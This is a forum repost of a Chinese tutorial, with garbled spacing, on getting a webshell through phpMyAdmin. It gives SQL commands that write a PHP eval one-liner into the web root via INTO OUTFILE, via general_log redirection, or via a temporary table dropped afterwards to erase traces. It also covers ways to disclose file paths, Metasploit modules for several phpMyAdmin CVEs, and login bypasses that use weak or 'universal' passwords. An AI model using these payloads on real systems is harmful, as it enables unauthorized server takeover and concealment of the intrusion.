搜索

[14997] 2020-02-10_phpMydmin的GetShell思路

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-02-10_phpMydmin的GetShell思路 p h p M y d m i n 的 G e t S h e l l 思 路 F e n g S e c   F r e e B u f   2 0 2 0 - 0 2 - 1 0 p h p M y a d m i n 简 介 简 介 p h p M y a d m i n 是 一 个 以 是 一 个 以 P H P 为 基 础 的 为 基 础 的 M y S Q L 数 据 库 管 理 工 具 ， 使 网 站 管 理 员 可 通 过 数 据 库 管 理 工 具 ， 使 网 站 管 理 员 可 通 过 W e b 接 口 管 理 数 据 库 接 口 管 理 数 据 库   。 。 信 息 收 集 信 息 收 集 此 部 分 主 要 需 要 收 集 的 是 网 站 物 理 路 径 ， 否 则 后 续 无 法 通 过 U R L 连 接 S h e l l 物 理 路 径 物 理 路 径 查 询 数 据 库 存 储 路 径 来 推 测 网 站 物 理 路 径 ， 也 可 以 通 过 l o g 变 量 得 到 配 置 文 件 爆 路 径 ： 如 果 注 入 点 有 文 件 读 取 权 限 ， 可 通 过 l o a d _ f i l e 尝 试 读 取 配 置 文 件 单 引 号 爆 路 径 ： 直 接 在 U R L 后 面 加 单 引 号 。 要 求 单 引 号 没 有 被 过 滤 ( g p c = o f f ) 且 服 务 器 默 认 返 回 错 误 信 息 。 w w w . a b c . c o m / i n d e x . p h p ? i d = 1 ' 错 误 参 数 值 爆 路 径 ： 尝 试 将 要 提 交 的 参 数 值 改 成 错 误 值 。 w w w . a b c . c o m / i n d e x . p h p ? i d = - 1 N g i n x 文 件 类 型 错 误 解 析 爆 路 径 ： 要 求 W e b 服 务 器 是 N g i n x ， 且 存 在 文 件 类 型 解 析 漏 洞 。 在 图 片 地 址 后 添 加 / x . p h p ， 该 图 片 不 但 会 被 当 作 p h p 文 件 执 行 ， 还 有 可 能 爆 出 物 理 路 径 。 w w w . a b c . c o m / b g . j p g / x . p h p G o o g l e 爆 路 径 测 试 文 件 爆 路 径   s e l e c t   @ @ d a t a d i r ;   #   W i n d o w s   c : w i n d o w s p h p . i n i                                                           #   p h p 配 置 文 件   c : w i n d o w s s y s t e m 3 2 i n e t s r v M e t a B a s e . x m l               #   I I S 虚 拟 主 机 配 置 文 件     #   L i n u x   / e t c / p h p . i n i                                                                       #   p h p 配 置 文 件   / e t c / h t t p d / c o n f . d / p h p . c o n f   / e t c / h t t p d / c o n f / h t t p d . c o n f                                           #   A p a c h e 配 置 文 件   / u s r / l o c a l / a p a c h e / c o n f / h t t p d . c o n f   / u s r / l o c a l / a p a c h e 2 / c o n f / h t t p d . c o n f   / u s r / l o c a l / a p a c h e / c o n f / e x t r a / h t t p d - v h o s t s . c o n f   #   虚 拟 目 录 配 置 文 件   s i t e : x x x . c o m   w a r n i n g   s i t e : x x x . c o m   “ f a t a l   e r r o r ”   w w w . x x x . c o m / t e s t . p h p
其 它 其 它 信 息 其 它 信 息 p h p M y a d m i n 后 台 面 板 可 以 直 接 看 到 M y S Q L 版 本 、 当 前 用 户 、 操 作 系 统 、 P H P 版 本 、 p h p M y a d m i n 版 本 等 信 息 也 可 以 通 过 S Q L 查 询 得 到 其 它 信 息 G e t S h e l l 前 提 条 件 前 提 条 件 网 站 真 实 路 径 。 如 果 不 知 道 网 站 真 实 路 径 则 后 续 无 法 通 过 通 过 U R L 的 方 式 连 的 方 式 连 s h e l l 读 写 权 限 。 查 询 s e c u r e f i l e p r i v 参 数 ， 查 看 是 否 具 有 读 写 文 件 权 限 ， 若 为 N U L L 则 没 有 办 法 写 入 s h e l l 。 这 个 值 是 只 读 变 量 ， 只 能 通 过 配 置 文 件 这 个 值 是 只 读 变 量 ， 只 能 通 过 配 置 文 件 修 改 ， 且 更 改 后 需 重 启 服 务 才 生 效 修 改 ， 且 更 改 后 需 重 启 服 务 才 生 效 常 规 常 规 G e t S h e l l 直 接 通 过 S Q L 查 询 写 入 s h e l l 日 志 日 志 G e t S h e l l M y S Q L 5 . 0 版 本 以 上 会 创 建 日 志 文 件 ， 通 过 修 改 日 志 的 全 局 变 量 打 开 日 志 并 指 定 日 志 保 存 路 径 ， 再 通 过 查 询 写 入 一 句 话 木 马 ， 此 时 该 木 马 会 被 日 志 记 录 并 生 成 日 志 文 件 ， 从 而 G e t S h e l l 。 但 是 前 提 是 要 对 生 成 的 日 志 文 件 有 读 写 权 限 。 查 询 日 志 全 局 变 量   w w w . x x x . c o m / c e s h i . p h p   w w w . x x x . c o m / i n f o . p h p   w w w . x x x . c o m / p h p i n f o . p h p   w w w . x x x . c o m / p h p _ i n f o . p h p   w w w . x x x . c o m / 1 . p h p   p h p M y A d m i n / l i b r a r i e s / s e l e c t l a n g . l i b . p h p   p h p M y A d m i n / d a r k b l u e o r a n g e / l a y o u t . i n c . p h p   p h p m y a d m i n / t h e m e s / d a r k b l u e _ o r a n g e / l a y o u t . i n c . p h p   p h p M y A d m i n / i n d e x . p h p ? l a n g [ ] = 1   p h p M y A d m i n / d a r k b l u e o r a n g e / l a y o u t . i n c . p h p   p h p M y A d m i n / i n d e x . p h p ? l a n g [ ] = 1   / p h p m y a d m i n / l i b r a r i e s / l e c t _ l a n g . l i b . p h p     / p h p M y A d m i n / p h p i n f o . p h p   / p h p m y a d m i n / t h e m e s / d a r k b l u e _ o r a n g e / l a y o u t . i n c . p h p   / p h p m y a d m i n / l i b r a r i e s / s e l e c t _ l a n g . l i b . p h p   / p h p m y a d m i n / l i b r a r i e s / m c r y p t . l i b . p h p   s e l e c t   v e r s i o n ( ) ;     - -   查 看 数 据 库 版 本   s e l e c t   @ @ d a t a d i r ;     - -   查 看 数 据 库 存 储 路 径   s h o w   V A R I A B L E S   l i k e   ' % c h a r % ' ;     - -   查 看 系 统 变 量   s e l e c t   @ @ s e c u r e _ f i l e _ p r i v       - -   查 询 s e c u r e _ f i l e _ p r i v   - -   s e c u r e _ f i l e _ p r i v = N U L L , 禁 止 导 入 导 出   - -   s e c u r e _ f i l e _ p r i v = ' ' , 不 限 制 导 入 导 出   - -   s e c u r e _ f i l e _ p r i v = / p a t h / , 只 能 向 指 定 目 录 导 入 导 出     s e l e c t   l o a d _ f i l e ( ' c : / p h p i n f o . p h p ' ) ;                 - -   读 取 文 件   s e l e c t   ' 1 2 3 '   i n t o   o u t f i l e   ' c : / s h e l l . p h p ' ;     - -   写 入 文 件 - -   假 设 物 理 路 径 为   " G : p h p S t u d y W W W "   s e l e c t   ' < ? p h p   e v a l ( $ _ P O S T [ " p w d " ] ) ; ? > '   i n t o   o u t f i l e   ' G : / p h p S t u d y / W W W / s h e l l . p h p ' ;   s h o w   v a r i a b l e s   l i k e   ' % g e n e r a l % ' ;     V a r i a b l e _ n a m e           V a l u e   g e n e r a l _ l o g               O F F   g e n e r a l _ l o g _ f i l e     G : p h p S t u d y M y S Q L d a t a F e n g S e c . l o g
g e n e r a l _ l o g ： 日 志 保 存 状 态 g e n e r a l l o g f i l e ： 日 志 保 存 路 径 开 启 日 志 保 存 并 配 置 保 存 路 径 写 s h e l l 新 表 新 表 G e t S h e l l 进 入 一 个 数 据 库 ， 新 建 数 据 表 。 名 字 随 意 ， 这 里 为 s h e l l _ t a b l e 字 段 数 填 1 添 加 字 段 字 段 名 任 意 ， 这 里 为 x i a o m a 字 段 类 型 为 T E X T 在 该 表 中 点 击 插 入 ， 值 为 一 句 话 木 马 执 行 S Q L 查 询 ， 将 该 表 中 的 内 容 导 出 到 指 定 文 件 s e t   g l o b a l   g e n e r a l _ l o g   =   " O N " ;         - -   打 开 日 志 保 存   s e t   g l o b a l   g e n e r a l _ l o g _ f i l e   =   " G : / p h p s t u d y / W W W / l o g . p h p " ;     - -   设 置 日 志 保 存 路 径 , 需 先 得 知 网 站 物 理 路 径 , 否 则 即 使 写 入 了 S h e l l 也 无 法 通 过 U R L 连 接   s e l e c t   ' < ? p h p   e v a l ( $ _ P O S T [ p w d ] ) ;   ? > ' ;   < ? p h p   e v a l ( $ _ P O S T [ p w d ] ) ;   ? > '   - -   假 设 物 理 路 径 为   " G : p h p S t u d y W W W "   s e l e c t   *   f r o m   s h e l l _ t a b l e   i n t o   o u t f i l e   " G : / p h p s t u d y / W W W / s h e l l . p h p " ;
删 除 该 表 ， 抹 除 痕 迹 以 上 步 骤 也 可 以 通 过 M y S Q L 语 句 执 行 特 殊 版 本 特 殊 版 本 G e t S h e l l C V E - 2 0 1 3 - 3 2 3 8 影 响 版 本 ： 3 . 5 . x   <   3 . 5 . 8 . 1   a n d   4 . 0 . 0   <   4 . 0 . 0 - r c 3   A N Y U N . O R G 利 用 模 块 ： e x p l o i t / m u l t i / h t t p / p h p m y a d m i n p r e g r e p l a c e C V E - 2 0 1 2 - 5 1 5 9 影 响 版 本 ： p h p M y A d m i n   v 3 . 5 . 2 . 2 利 用 模 块 ： e x p l o i t / m u l t i / h t t p / p h p m y a d m i n 3 5 2 2 _ b a c k d o o r C V E - 2 0 0 9 - 1 1 5 1 P h p M y A d m i n 配 置 文 件 / c o n f i g / c o n f i g . i n c . p h p 存 在 命 令 执 行 影 响 版 本 ： 2 . 1 1 . x   <   2 . 1 1 . 9 . 5   a n d   3 . x   <   3 . 1 . 3 . 1 利 用 模 块 ： e x p l o i t / u n i x / w e b a p p / p h p m y a d m i n _ c o n f i g 弱 口 令 弱 口 令 & 万 能 密 码 万 能 密 码 弱 口 令 ： 版 本 p h p m y a d m i n 2 . 1 1 . 9 . 2 ，   直 接 r o o t 用 户 登 陆 ， 无 需 密 码 万 能 密 码 ： 版 本 2 . 1 1 . 3   /   2 . 1 1 . 4 ， 用 户 名 ' l o c a l h o s t ' @ ' @ " 则 登 录 成 功 参 考 ： 参 考 ： p h p m y a d m i n   g e t s h e l l 之 利 用 日 志 文 件 m y s q l 备 份 一 句 话 p h p m y a d m i n   g e t s h e l l 姿 势 * 本 文 作 者 ： 本 文 作 者 ： F e n g S e c ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐   D r o p   T A B L E   I F   E X I S T S   s h e l l _ t a b l e ;   C r e a t e   T A B L E   s h e l l _ t a b l e   ( x i a o m a   t e x t   N O T   N U L L )   - -   建 表   I n s e r t   I N T O   s h e l l _ t a b l e   ( x i a o m a )   V A L U E S ( ' < ? p h p   e v a l ( $ _ P O S T [ 1 ] ) ; ? > ' ) ;     - -   写 入   s e l e c t   *   f r o m   s h e l l _ t a b l e   i n t o   o u t f i l e   ' G : / p h p s t u d y / W W W / s h e l l . p h p ' ;       - -   导 出   D r o p   T A B L E   I F   E X I S T S   s h e l l _ t a b l e ;         - -   删 表
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理